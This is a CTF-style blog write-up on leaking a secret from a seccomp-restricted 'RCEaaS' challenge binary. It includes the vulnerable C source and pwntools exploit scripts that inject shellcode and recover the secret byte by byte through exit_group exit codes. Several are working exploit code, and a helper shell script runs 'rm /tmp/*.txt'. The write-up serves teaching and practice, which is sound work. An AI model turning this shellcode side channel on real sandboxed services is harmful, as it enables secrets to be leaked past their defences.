Home Exploiting Seccomp-Restricted Program to Leak a Flag
Post
Cancel

Exploiting Seccomp-Restricted Program to Leak a Flag

Purpose : Get The Flag

Introduction: The purpose of this write-up is to explain the process of exploiting a seccomp-restricted program to leak a secret. Seccomp is a mechanism in Linux that restricts the system calls a program can make, providing an additional layer of security. The code provided demonstrates the use of seccomp to restrict the program to only two syscalls: read and exit_group. By leveraging these restrictions and reading one byte at a time, we can gradually leak the secret stored in the program’s memory.

Exploit Strategy: To exploit the vulnerability, we need to leak the secret byte by byte. Since the program restricts the syscalls to read and exit_group, we cannot directly leak the secret using the printf function or other standard output methods. Instead, we can use the exit_group syscall to read the secret directly from memory. By continuously invoking the exit_group syscall with a secret variable pointer as first argument which leaked one byte with exit code that consists of byte in numeric form on every prgram exit , we can gradually leak the secret on .

img_1

img_1

Vuln Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#define _DEFAULT_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <stddef.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <sys/fcntl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/audit.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <string.h>

#define CHECK(B) do { if(!(B)) exit(1); } while(0)

char secret[0x100];
int init_seccomp();

void init() {
    int fd;
    // setting stdout and stdin to be unbuffered
    setvbuf(stdout,0,_IONBF,0);
    setvbuf(stdin,0,_IONBF,0);
    // load the secret
    fd = open("secret.txt", O_RDONLY);
    read(fd, &secret, sizeof(secret));
    close(fd);
}

int main()
{
    char *code;

    init();

    printf("Welcome to \033[1;32mRCEaaS\033[0m\n");
    
    code = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANON, -1, 0);
    read(0, code, 0x1000);

    if (strcmp(secret, code)) {
        CHECK(!fclose(stdout));
        CHECK(!fclose(stderr));
        CHECK(!init_seccomp());
    } else
        printf("You seem trustworthy!\n");


    ((void (*)(void)) code) ();
}

int init_seccomp()
{
#define ALLOW(NR) \
    BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, (NR), 0, 1), \
    BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW) \

    struct sock_filter filter[] = {
        BPF_STMT(BPF_LD + BPF_W + BPF_ABS, offsetof(struct seccomp_data, arch)),
        BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, AUDIT_ARCH_X86_64, 1, 0),
        BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),

        BPF_STMT(BPF_LD + BPF_W + BPF_ABS, offsetof(struct seccomp_data, nr)),
        ALLOW(SYS_read),
        ALLOW(SYS_exit_group),

        BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
    };
#undef ALLOW

    struct sock_fprog prog = {
        .len = sizeof(filter) / sizeof(*filter),
        .filter = filter,
    };

    return prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) || prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}


Exploit

First Exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/python3
from pwn import *
import struct

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify GDB script here (breakpoints etc)
gdbscript = '''
break *main

break *main+159
continue
'''.format(**locals())

exe = './vuln'; elf = context.binary = ELF(exe, checksec=False);exe_rop = ROP(elf,checksec=False)

secret = 0x404060



for i in range(256):
	
	try:
		io = start()

		payload = asm(f"""nop
		mov rsi , {secret+i}
		mov rdi, [rsi]
		mov rax,231 /* read syscall number */
		syscall


		""")



		io.sendlineafter(b'Welcome to \033[1;32mRCEaaS\033[0m\n', payload)
		io.recvline()
		print(success())

	except EOFError:
		pass

print(Progress.success())



Second Exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python3
from pwn import *

temp_code = [0] * 256
temp_pid= [0] * 256

with open('/tmp/code.txt') as code:
	with open('/tmp/pid_sort.txt') as pid:

		for i in range (256):
			temp_code[i] = code.readline().strip("\n")
			temp_pid[i] = pid.readline().strip("\n")		
		for i in range(256):
			for j in range(256):
				if temp_code[j].split("(pid ")[1].strip(")\n") == temp_pid[i]:
					chr_int = temp_code[j].replace("[*] Process './vuln' stopped with exit code ","").split(" ")[0]
					print(chr(int(chr_int)),end="")

		print("\n")

Third Exploit.sh
1
2
3
4
5
6
7
8
9
#!/bin/bash
python3 first.py | tee /tmp/exit_code.txt
cat /tmp/exit_code.txt  |grep "stopped with exit code"  | tee /tmp/code.txt 
cat /tmp/exit_code.txt | grep "exit"  |cut -d "(" -f 2 | sort | cut -d " " -f 2   | cut -d ")" -f 1 | tee /tmp/pid_sort.txt
#clear
echo "Content of Secret.txt"
python3 second.py
rm /tmp/*.txt

After Writing this i was known that exit code can be recoded directly Thank @zeeshan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.arch = "amd64"

def gen(i, flag):
    payload = asm(f"""
    mov rsp, {flag+i}
    xor rdi, rdi
    mov dil, byte ptr [rsp]
    {shellcraft.exit_group("rdi")}
    """)
    return payload

char = ""
exit_code = 0

flag = 0x404060

for i in range(30):
    io = process(["./vuln"], close_fds=False)

    payload = gen(i, flag)
    io.sendlineafter(b'Welcome to \033[1;32mRCEaaS\033[0m\n', payload)
    

    exit_code = io.poll(True)
    if exit_code < 20:
        log.info(f"non ascii encountered, exiting...")
        exit(0)
    char += bytes.fromhex(hex(exit_code)[2:]).decode('ASCII')
    info(f"flag is {char}")

    io.close()





This post is licensed under CC BY 4.0 by the author.